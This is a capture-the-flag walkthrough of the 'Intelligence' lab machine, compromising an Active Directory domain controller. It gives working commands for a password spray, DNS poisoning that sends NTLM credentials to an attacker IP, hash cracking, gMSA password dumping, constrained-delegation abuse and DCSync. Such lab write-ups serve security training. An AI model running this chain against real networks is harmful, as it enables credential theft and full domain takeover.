HTB - Intelligence
Target IP: 10.129.95.154
Domain: intelligence.htb
DC Hostname: dc.intelligence.htb
OS: Windows Server (Domain Controller)
Difficulty: Medium
Assumed Breach: No - initial access via unauthenticated web enumeration
Author: [g1nt0n1x]
Ⓩ - zbulim notation: Steps marked with Ⓩ were performed automatically by zbulim, my automated recon tool. They are shown manually here for proof of concept and documentation purposes.
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery Ⓩ
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Intelligence
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
| ssl-cert: Subject: commonName=dc.intelligence.htb
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
9389/tcp open mc-nmf .NET Message Framing
| smb2-security-mode:
|_ Message signing enabled and required
Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 80/tcp | HTTP / IIS 10.0 | Company website - unusual on a DC, investigate first |
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: intelligence.htb, DC: dc.intelligence.htb |
| 445/tcp | SMB | Signing required - relay attacks blocked |
| 53/tcp | DNS | Integrated AD DNS - relevant for DNS poisoning later |
Port 80 on a DC stands out immediately. Web servers on DCs are unusual and almost always intentional - investigate before attempting any AD enumeration. zbulim found no low-hanging fruit via SMB null/guest session, so web is the right initial pivot.
2. Phase 2: Web Enumeration - Document Discovery
2.1 Browse the Company Website
The IIS site is a static company page for “Intelligence Corp”. The only interesting content is a contact email (contact@intelligence.htb) and two document links:
http://intelligence.htb/documents/2020-01-01-upload.pdf
http://intelligence.htb/documents/2020-12-15-upload.pdf
Both PDFs contain only lorem ipsum filler text. The naming convention is the real finding: YEAR-MONTH-DAY-upload.pdf. If documents are uploaded continuously under this scheme, there could be hundreds more.
2.2 Extract Metadata with ExifTool
PDF metadata often contains the creator’s name - which on a corporate machine maps directly to their AD username.
exiftool *
# ======== 2020-01-01-upload.pdf
# Creator : William.Lee
# ======== 2020-12-15-upload.pdf
# Creator : Jose.WilliamsTwo usernames identified: William.Lee and Jose.Williams. The dot-separated First.Last format is the domain naming convention.
2.3 Validate Usernames with Kerbrute
echo "William.Lee
Jose.Williams" > usernames.txt
kerbrute userenum --dc 10.129.95.154 -d intelligence.htb usernames.txt
# [+] VALID USERNAME: William.Lee@intelligence.htb
# [+] VALID USERNAME: Jose.Williams@intelligence.htbBoth are valid AD accounts. We now know the username format with confidence.
3. Phase 3: PDF Harvesting - Brute-Force Every Date in 2020
The two known documents span January and December 2020. The naming convention is predictable - iterate every day of 2020 and download whatever exists.
3.1 Download All PDFs
#!/bin/bash
for month in 0{1..9} {10..12}; do
for day in 0{1..9} {10..31}; do
wget -q "http://intelligence.htb/documents/2020-$month-$day-upload.pdf"
done
done
echo "done"wget silently ignores 404s - only valid dates return a file. This yields ~84 PDFs.
3.2 Extract All Usernames from Metadata
exiftool -q -Creator -s3 *.pdf | sort -u > usernames.txtThis extracts the Creator field from every PDF, deduplicates, and saves the full user list. We now have the complete set of employees who uploaded documents.
3.3 Extract Text Content and Search for Secrets
The filler lorem ipsum text was a red herring - only visible pages. pdftotext extracts the actual text layer from every PDF:
#!/bin/bash
basedir=/home/kali/HTB/Intelligence/pdf
for file in "$basedir"/*.pdf; do
pdftotext "$file" - | tee -a "$basedir/pdf-text.txt"
doneSearch the combined output for password-related strings with surrounding context:
cat pdf-text.txt | grep -C 3 pass
# New Account Guide
# Welcome to Intelligence Corp!
# Please login using your username and the default password of:
# NewIntelligenceCorpUser9876 <---
# After logging in please change your password as soon as possible.Default password found: NewIntelligenceCorpUser9876
4. Phase 4: Password Spray - Default Credentials
nxc smb 10.129.95.154 -u usernames.txt -p 'NewIntelligenceCorpUser9876'
# [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876Tiffany.Molina never changed the onboarding default password. This is the most common outcome of default-password sprays.
Credentials: Tiffany.Molina:NewIntelligenceCorpUser9876
5. Phase 5: Share Enumeration - Scheduled Script Discovery
nxc smb 10.129.95.154 -u Tiffany.Molina -p 'NewIntelligenceCorpUser9876' --shares -M spider_plus -o DOWNLOAD_FLAG=True
cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.129.95.154 .
# tree
# .
# └── IT
# └── downdetector.ps15.1 Analyze the Script
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if($request.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}What this script does:
- Queries AD-integrated DNS for all records whose name starts with
web* - For each matching DNS entry, issues a web request with the running user’s Windows credentials (
-UseDefaultCredentials) - If the server doesn’t return HTTP 200, it emails
Ted.Graves - Runs every 5 minutes via a scheduled task (running as
Ted.Graves)
The attack: If we can inject a DNS A record pointing web-<anything> at our IP, the scheduled task will send Ted.Graves’s NTLMv2 credentials to our machine when it tries to authenticate.
6. Phase 6: DNS Poisoning - NTLM Hash Capture
6.1 Inject a Malicious DNS Record
dnstool.py from the Krbrelayx toolkit can add, modify, or delete AD-integrated DNS records via LDAP. Tiffany.Molina has sufficient permissions to create one:
python dnstool.py \
-u 'intelligence\Tiffany.Molina' \
-p NewIntelligenceCorpUser9876 \
10.129.95.154 \
-a add \
-r web-attacker \
-d 10.10.16.149 \
-t AThis creates web-attacker.intelligence.htb -> 10.10.16.149 (our IP). The script’s Name -like "web*" filter will pick this up on the next run.
6.2 Capture the Hash with Responder
sudo responder -I tun0 -dwv
# [Waiting ~5 minutes for the scheduled task to fire]
# [HTTP] NTLMv2 Hash : Ted.Graves::intelligence:2dcfefc69da22708:29211E3FD43F...Credentials captured: Ted.Graves NTLMv2 hash
6.3 Crack the Hash
# -m 5600: NetNTLMv2
hashcat -m 5600 ted.graves.hash /usr/share/wordlists/rockyou.txt -O --force
# Ted.Graves:Mr.TeddyCredentials: Ted.Graves:Mr.Teddy
7. Phase 7: BloodHound Enumeration
With a new credential, always run BloodHound before guessing the next move.
rusthound-ce -i 10.129.95.154 -d intelligence.htb \
-u Ted.Graves -p Mr.Teddy \
-c All -z -vUpload the ZIP to BloodHound CE. Mark Ted.Graves as Owned. Run “Shortest Paths from Owned Objects to Tier Zero.”
Finding - attack path:
Ted.Graves
└─ MemberOf ──► IT Support
└─ ReadGMSAPassword ──► SVC_INT$
└─ AllowedToDelegate ──► DC.intelligence.htb
Three hops to Domain Admin: read the GMSA password, then abuse constrained delegation to impersonate Administrator on the DC.
8. Phase 8: GMSA Password Dump
BloodHound guidance:
SVC_INT$is a Group Managed Service Account. Members ofIT SUPPORTcan retrieve the password for the GMSASVC_INT$. The intended use of a GMSA is to allow certain computer accounts to retrieve the password, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
# Users or groups who can read password for svc_int$:
# > DC$
# > itsupport
# svc_int$:::3c356107d6b589fdfc215e2c3de484b5
# svc_int$:aes256-cts-hmac-sha1-96:3f62573c43253a658625cb66098a0090...gMSADumper retrieves the GMSA password via LDAP and converts it to its NT hash equivalent.
8.1 Validate the Hash
nxc smb 10.129.95.154 -u 'svc_int$' -H 3c356107d6b589fdfc215e2c3de484b5
# [+] intelligence.htb\svc_int$:3c356107d6b589fdfc215e2c3de484b5Hash valid: svc_int$:3c356107d6b589fdfc215e2c3de484b5
9. Phase 9: Constrained Delegation Abuse - Impersonate Administrator
9.1 Identify the Delegation Target
findDelegation.py 'intelligence.htb/Ted.Graves:Mr.Teddy' -dc-ip 10.129.95.154
# AccountName AccountType DelegationType DelegationRightsTo
# ----------- ----------------------------------- ---------------------------------- -----------------------
# svc_int$ ms-DS-Group-Managed-Service-Account Constrained w/ Protocol Transition WWW/dc.intelligence.htbsvc_int$ has constrained delegation with Protocol Transition (S4U2Self + S4U2Proxy) to WWW/dc.intelligence.htb. The service name (sname) in the resulting ticket is not cryptographically protected - we can substitute any service (CIFS, HOST, LDAP) after obtaining the ticket.
9.2 Request a Service Ticket as Administrator
getST.py \
-spn 'WWW/dc.intelligence.htb' \
-impersonate 'ADMINISTRATOR' \
-hashes :3c356107d6b589fdfc215e2c3de484b5 \
'intelligence.htb/svc_int' \
-dc-ip 10.129.95.154
# Saving ticket in ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache9.3 Dump Domain Secrets via DCSync
KRB5CCNAME=ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
secretsdump.py -k -no-pass dc.intelligence.htb
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:0054cc2f7ff3b56d9e47eb39c89b521f:::9.4 Shell as Administrator
KRB5CCNAME=ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
wmiexec.py -k -no-pass administrator@dc.intelligence.htb
# C:\> whoami
# intelligence\administratorDomain compromised.
Deep Dive: PDF Metadata as an OSINT Source
PDF files embed a Creator field that most authoring tools populate automatically with the logged-in Windows username. On a corporate domain, that username is the AD sAMAccountName - exactly what we need for Kerberos and spray attacks.
Why exiftool over manual inspection:
exiftool -q -Creator -s3 *.pdfoutputs only the raw Creator value, one per line, ready to pipe into sort/uniq-qsuppresses warnings,-s3outputs the value with no label - clean for scripting
The date-brute pattern applies broadly: Any time a web application exposes files with a predictable naming scheme (dates, sequential IDs, UUIDs), iterate the space. wget and curl both skip 404s cleanly. The signal-to-noise ratio is high because you’re looking for existence, not content, first.
Deep Dive: AD-Integrated DNS Poisoning
AD-integrated DNS stores its records as objects in the MicrosoftDNS partition of LDAP, not as flat zone files. Any authenticated domain user (by default) can create new DNS records via LDAP - the same way a legitimate admin would.
Why this works:
dnstool.pyconnects to LDAP and creates a newdnsNodeobject under the DNS zone- No special privileges required beyond domain user - the default DNS ACL allows authenticated users to add records
- The record is immediately active - no zone transfer or reload needed
The NTLM coercion chain:
- Script queries AD DNS for
web*entries - finds our injected record - Script issues
Invoke-WebRequest -UseDefaultCredentialsto our IP - Windows sends the NTLM challenge/response for the running account automatically - this is the designed behavior of
-UseDefaultCredentials - Responder answers the HTTP request, captures the NTLMv2 hash, then returns an error - the target never knows
Timing: The script runs every 5 minutes. Inject the DNS record, start Responder, wait up to 5 minutes. No interaction with the target user required.
Deep Dive: Group Managed Service Accounts (GMSA)
GMSAs are service accounts whose passwords are managed automatically by the DC - rotated on a schedule, stored in a protected AD attribute (msDS-ManagedPassword). They were designed to eliminate manually managed service account passwords.
The attacker’s perspective:
- The password is stored in AD and retrievable over LDAP by any principal listed in
msDS-GroupMSAMembership - The password is a 256-byte random blob, but its NT hash can be computed deterministically from it
gMSADumper.pyretrieves the blob via LDAP (as an authorized group member) and computes the NT hash- The NT hash is as good as a password for PTH, Kerberos requests, and anything else that accepts NTLM
Why this escalates: A GMSA is often granted elevated permissions (to run services, access shares, or perform delegated operations) without the operational overhead of a regular service account. Those permissions exist on the GMSA object - and we just obtained its equivalent password.
Deep Dive: Constrained Delegation with Protocol Transition (S4U2Self + S4U2Proxy)
Constrained delegation limits which services an account can delegate to. “With Protocol Transition” (msDS-AllowedToDelegateTo + TrustedToAuthForDelegation flag) means the account can also use S4U2Self - request a service ticket on behalf of any user, even if that user never authenticated to the delegating service.
The two-step S4U process:
| Step | Protocol | What happens |
|---|---|---|
| S4U2Self | Kerberos | svc_int$ asks the KDC for a ticket to itself, impersonating ADMINISTRATOR. KDC issues it because of TrustedToAuthForDelegation. |
| S4U2Proxy | Kerberos | svc_int$ presents the S4U2Self ticket to request a service ticket to WWW/dc.intelligence.htb as ADMINISTRATOR. KDC honors it because the target is in msDS-AllowedToDelegateTo. |
The sname substitution: The service name field (sname) in the resulting ticket is not covered by the ticket’s cryptographic signature. After getST.py obtains a ticket for WWW/dc.intelligence.htb, we can submit it to any service on that host - CIFS, HOST, LDAP - and the DC will accept it. This is why constrained delegation to any SPN on a DC is effectively unrestricted escalation.
getST.py handles the full S4U chain automatically. The -impersonate flag triggers both S4U2Self and S4U2Proxy in sequence.
Key Takeaways & Checklist
- Port 80 on a DC is unusual and almost always the intended entry point - investigate before AD enumeration
- PDF
Creatormetadata = AD username; collect from every PDF on the target, not just the ones linked on the page - When a URL follows a predictable date/ID scheme, iterate the full space with a wget loop - 404s are free
- Always run
pdftotext(or equivalent) on every downloaded document - content inside is separate from the displayed page - Default passwords from onboarding documents are the most reliable spray target - someone always skips the mandatory change
- After gaining a foothold, spider all shares -
IT,DEV,Scriptsshares almost always contain automation scripts with embedded credentials or exploitable logic - Scheduled scripts using
-UseDefaultCredentials+ AD-controlled DNS = NTLM coercion without touching the user - Authenticated domain users can add AD-integrated DNS records by default - always test when you need to coerce NTLM
- Responder on tun0 is the standard listener; wait the full scheduled task interval before assuming failure
- After every new credential, run BloodHound - the Ted.Graves → GMSA → Delegation chain is invisible without graph analysis
- GMSA membership means the NT hash is retrievable over LDAP - treat it the same as a cleartext password
- Constrained delegation with Protocol Transition to any SPN on the DC = impersonate any user = Domain Admin
getST.pyhandles the full S4U2Self + S4U2Proxy chain; setKRB5CCNAMEand pass-k -no-passto all Impacket tools